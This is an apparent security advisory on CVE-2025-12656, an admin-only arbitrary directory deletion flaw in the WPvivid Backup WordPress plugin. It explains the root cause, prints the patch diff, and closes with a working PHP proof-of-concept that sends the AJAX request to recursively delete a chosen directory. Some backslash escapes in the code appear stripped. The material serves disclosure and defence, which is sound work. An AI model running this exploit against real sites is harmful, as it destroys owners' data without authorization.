Atomic Edge analysis of CVE-2025-12656:
The WPvivid Backup and Migration plugin for WordPress, up to version 0.9.128, contains an authenticated arbitrary directory deletion vulnerability. Attackers with Administrator-level access can delete arbitrary folders on the server through the delete_cancel_staging_site() function. The CVSS score is 3.8 due to the high privilege requirement.
The root cause lies in the delete_cancel_staging_site() function within /wpvivid-backuprestore/includes/staging/class-wpvivid-staging.php. Prior to the patch, the function only checked if $site_path differed from ABSPATH before calling $wp_filesystem->rmdir($site_path, true). It performed no validation to ensure the path matched an actual staging site. The function wpvivid_is_allowed_staging_delete_path() and wpvivid_normalize_delete_path() did not exist in the vulnerable version. An attacker could pass any path ($site_path) to the AJAX handler, which would be recursively deleted without additional checks.
The attack vector targets the WordPress AJAX action hook for authenticated admin users. An attacker would send a POST request to /wp-admin/admin-ajax.php with the action parameter set to wpvivid_delete_cancel_staging_site, along with a nonce and the parameter staging_site_id containing a path like /var/www/html/arbitrary-directory. The vulnerable code directly used this path with recursive directory deletion after only checking it was not the ABSPATH.
The patch introduces two new validation functions: wpvivid_is_allowed_staging_delete_path() and wpvivid_normalize_delete_path(). It also adds a transient-based cleanup mechanism via wpvivid_get_cancel_staging_cleanup(). The core fix is in delete_cancel_staging_site(), which now calls $this->wpvivid_is_allowed_staging_delete_path($site_path) before attempting deletion. This function resolves paths with realpath() and checks against protected paths (ABSPATH, WP_CONTENT_DIR, WP_PLUGIN_DIR, theme roots, wp-admin, wp-includes, uploads dir) and registered staging site paths from wpvivid_staging_task_list option. If the target path is not in the allowed list or matches a protected path, deletion is blocked.
Successful exploitation allows an authenticated administrator to recursively delete arbitrary directories on the web server. This leads to data loss, including potentially deleting all WordPress core files, plugins, themes, and uploads. The attacker cannot delete the WordPress root itself because the original code blocked that specific path, but any subdirectory not matching ABSPATH could be deleted, including critical system directories.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/wpvivid-backuprestore/includes/staging/class-wpvivid-staging.php
+++ b/wpvivid-backuprestore/includes/staging/class-wpvivid-staging.php
@@ -1264,6 +1264,126 @@
}
}
+ private function wpvivid_normalize_delete_path($path, $use_realpath = true)
+ {
+ if (empty($path) || !is_string($path)) {
+ return false;
+ }
+
+ $path = wp_normalize_path($path);
+ $path = untrailingslashit($path);
+ if ($use_realpath) {
+ $real_path = realpath($path);
+ if ($real_path !== false) {
+ $path = wp_normalize_path($real_path);
+ $path = untrailingslashit($path);
+ }
+ }
+
+ if ((defined('PHP_OS_FAMILY') && PHP_OS_FAMILY === 'Windows') || DIRECTORY_SEPARATOR === '\') {
+ $path = strtolower($path);
+ }
+
+ return $path;
+ }
+
+ private function wpvivid_get_cancel_staging_cleanup($site_path)
+ {
+ $normalized_path = $this->wpvivid_normalize_delete_path($site_path, false);
+ if ($normalized_path === false) {
+ return false;
+ }
+
+ $cleanup = get_transient('wpvivid_cancel_staging_cleanup_' . md5($normalized_path));
+ if (!is_array($cleanup) || empty($cleanup['staging_path'])) {
+ return false;
+ }
+
+ $cleanup_path = $this->wpvivid_normalize_delete_path($cleanup['staging_path'], false);
+ $delete_path = $this->wpvivid_normalize_delete_path($site_path, false);
+ if ($cleanup_path === false || $delete_path === false || $cleanup_path !== $delete_path) {
+ return false;
+ }
+
+ return $cleanup;
+ }
+
+ private function wpvivid_is_allowed_staging_delete_path($site_path)
+ {
+ if (empty($site_path) || !is_string($site_path)) {
+ return false;
+ }
+
+ if (!file_exists($site_path) || !is_dir($site_path)) {
+ return false;
+ }
+
+ $real_site_path = $this->wpvivid_normalize_delete_path($site_path, true);
+ if ($real_site_path === false) {
+ return false;
+ }
+
+ $real_site_path = wp_normalize_path(untrailingslashit($real_site_path));
+
+ $protected_paths = array(
+ ABSPATH,
+ WP_CONTENT_DIR,
+ WP_PLUGIN_DIR,
+ get_theme_root(),
+ ABSPATH . 'wp-admin',
+ ABSPATH . 'wp-includes'
+ );
+
+ $upload_dir = wp_get_upload_dir();
+ if (!empty($upload_dir['basedir'])) {
+ $protected_paths[] = $upload_dir['basedir'];
+ }
+
+ foreach ($protected_paths as $protected_path) {
+ $real_protected_path = $this->wpvivid_normalize_delete_path($protected_path, true);
+ if ($real_protected_path === false) {
+ continue;
+ }
+
+ if ($real_site_path === $real_protected_path) {
+ return false;
+ }
+
+ if (strpos($real_protected_path . '/', $real_site_path . '/') === 0) {
+ return false;
+ }
+ }
+
+ $tasks = get_option('wpvivid_staging_task_list', array());
+ if (is_array($tasks)) {
+ foreach ($tasks as $task) {
+ $allowed_paths = array();
+
+ if (!empty($task['path']['des_path'])) {
+ $allowed_paths[] = $task['path']['des_path'];
+ }
+
+ if (!empty($task['site']['path'])) {
+ $allowed_paths[] = $task['site']['path'];
+ }
+
+ foreach ($allowed_paths as $allowed_path) {
+ $real_allowed_path = $this->wpvivid_normalize_delete_path($allowed_path, true);
+ if ($real_allowed_path !== false && $real_site_path === $real_allowed_path) {
+ return true;
+ }
+ }
+ }
+ }
+
+ $cleanup = $this->wpvivid_get_cancel_staging_cleanup($site_path);
+ if ($cleanup !== false) {
+ return true;
+ }
+
+ return false;
+ }
+
public function delete_cancel_staging_site(){
global $wpvivid_plugin;
check_ajax_referer( 'wpvivid_ajax', 'nonce' );
@@ -1285,9 +1405,18 @@
$db_name = $staging_site_info['staging_additional_db_name'];
$db_host = $staging_site_info['staging_additional_db_host'];
if (!empty($site_path)) {
- $home_path = untrailingslashit(ABSPATH);
- if ($home_path != $site_path) {
- if (file_exists($site_path)) {
+ if (file_exists($site_path)) {
+ if (!$this->wpvivid_is_allowed_staging_delete_path($site_path)) {
+ echo wp_json_encode(array(
+ 'result' => 'failed',
+ 'error' => 'Invalid staging path.'
+ ));
+ die();
+ }
+
+ $home_path = untrailingslashit(ABSPATH);
+ if ($home_path != $site_path) {
+
if (!class_exists('WP_Filesystem_Base')) include_once(ABSPATH . '/wp-admin/includes/class-wp-filesystem-base.php');
if (!class_exists('WP_Filesystem_Direct')) include_once(ABSPATH . '/wp-admin/includes/class-wp-filesystem-direct.php');
@@ -1311,6 +1440,11 @@
}
}
+ $normalized_path = $this->wpvivid_normalize_delete_path($site_path, false);
+ if ($normalized_path !== false) {
+ delete_transient('wpvivid_cancel_staging_cleanup_' . md5($normalized_path));
+ }
+
$ret['result'] = 'success';
echo wp_json_encode($ret);
}
@@ -1751,6 +1885,27 @@
$ret['staging_table_prefix']=$value['db_connect']['new_prefix'];
}
}
+
+ if (!empty($ret['staging_path'])) {
+ $normalized_cleanup_path = $this->wpvivid_normalize_delete_path($ret['staging_path'], false);
+
+ if ($normalized_cleanup_path !== false) {
+ set_transient(
+ 'wpvivid_cancel_staging_cleanup_' . md5($normalized_cleanup_path),
+ array(
+ 'staging_path' => $ret['staging_path'],
+ 'staging_table_prefix' => isset($ret['staging_table_prefix']) ? $ret['staging_table_prefix'] : '',
+ 'staging_additional_db' => isset($ret['staging_additional_db']) ? $ret['staging_additional_db'] : 0,
+ 'staging_additional_db_user' => isset($ret['staging_additional_db_user']) ? $ret['staging_additional_db_user'] : '',
+ 'staging_additional_db_pass' => isset($ret['staging_additional_db_pass']) ? $ret['staging_additional_db_pass'] : '',
+ 'staging_additional_db_name' => isset($ret['staging_additional_db_name']) ? $ret['staging_additional_db_name'] : '',
+ 'staging_additional_db_host' => isset($ret['staging_additional_db_host']) ? $ret['staging_additional_db_host'] : ''
+ ),
+ 10 * MINUTE_IN_SECONDS
+ );
+ }
+ }
+
update_option('wpvivid_staging_task_cancel', false, 'no');
$b_delete=true;
}
--- a/wpvivid-backuprestore/wpvivid-backuprestore.php
+++ b/wpvivid-backuprestore/wpvivid-backuprestore.php
@@ -7,7 +7,7 @@
* @wordpress-plugin
* Plugin Name: WPvivid Backup Plugin
* Description: Clone or copy WP sites then move or migrate them to new host (new domain), schedule backups, transfer backups to leading remote storage. All in one.
- * Version: 0.9.128
+ * Version: 0.9.129
* Author: WPvivid Backup & Migration
* Author URI: https://wpvivid.com
* License: GPL-3.0+
@@ -21,7 +21,7 @@
die;
}
-define( 'WPVIVID_PLUGIN_VERSION', '0.9.128' );
+define( 'WPVIVID_PLUGIN_VERSION', '0.9.129' );
//
define('WPVIVID_RESTORE_INIT','init');
define('WPVIVID_RESTORE_READY','ready');
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-12656 - Migration, Backup, Staging – WPvivid Backup & Migration <= 0.9.128 - Authenticated (Admin+) Arbitrary Directory Deletion
$target_url = 'http://example.com'; // Change this to the target WordPress URL
$admin_cookie = 'wordpress_logged_in_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'; // Replace with admin session cookie
$nonce = ''; // Obtain a valid nonce from wpvivid_ajax or leave empty to attempt without
// Directory to delete (must not be the WordPress root)
$target_directory = '/var/www/html/wp-content/uploads/arbitrary_folder_to_delete'; // Adjust path as needed
$post_data = array(
'action' => 'wpvivid_delete_cancel_staging_site',
'nonce' => $nonce,
'staging_site_id' => $target_directory
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIE, $admin_cookie);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Status: " . $http_code . "n";
echo "Response: " . $response . "n";
echo "If successful, the directory and all its contents have been deleted.n";
?>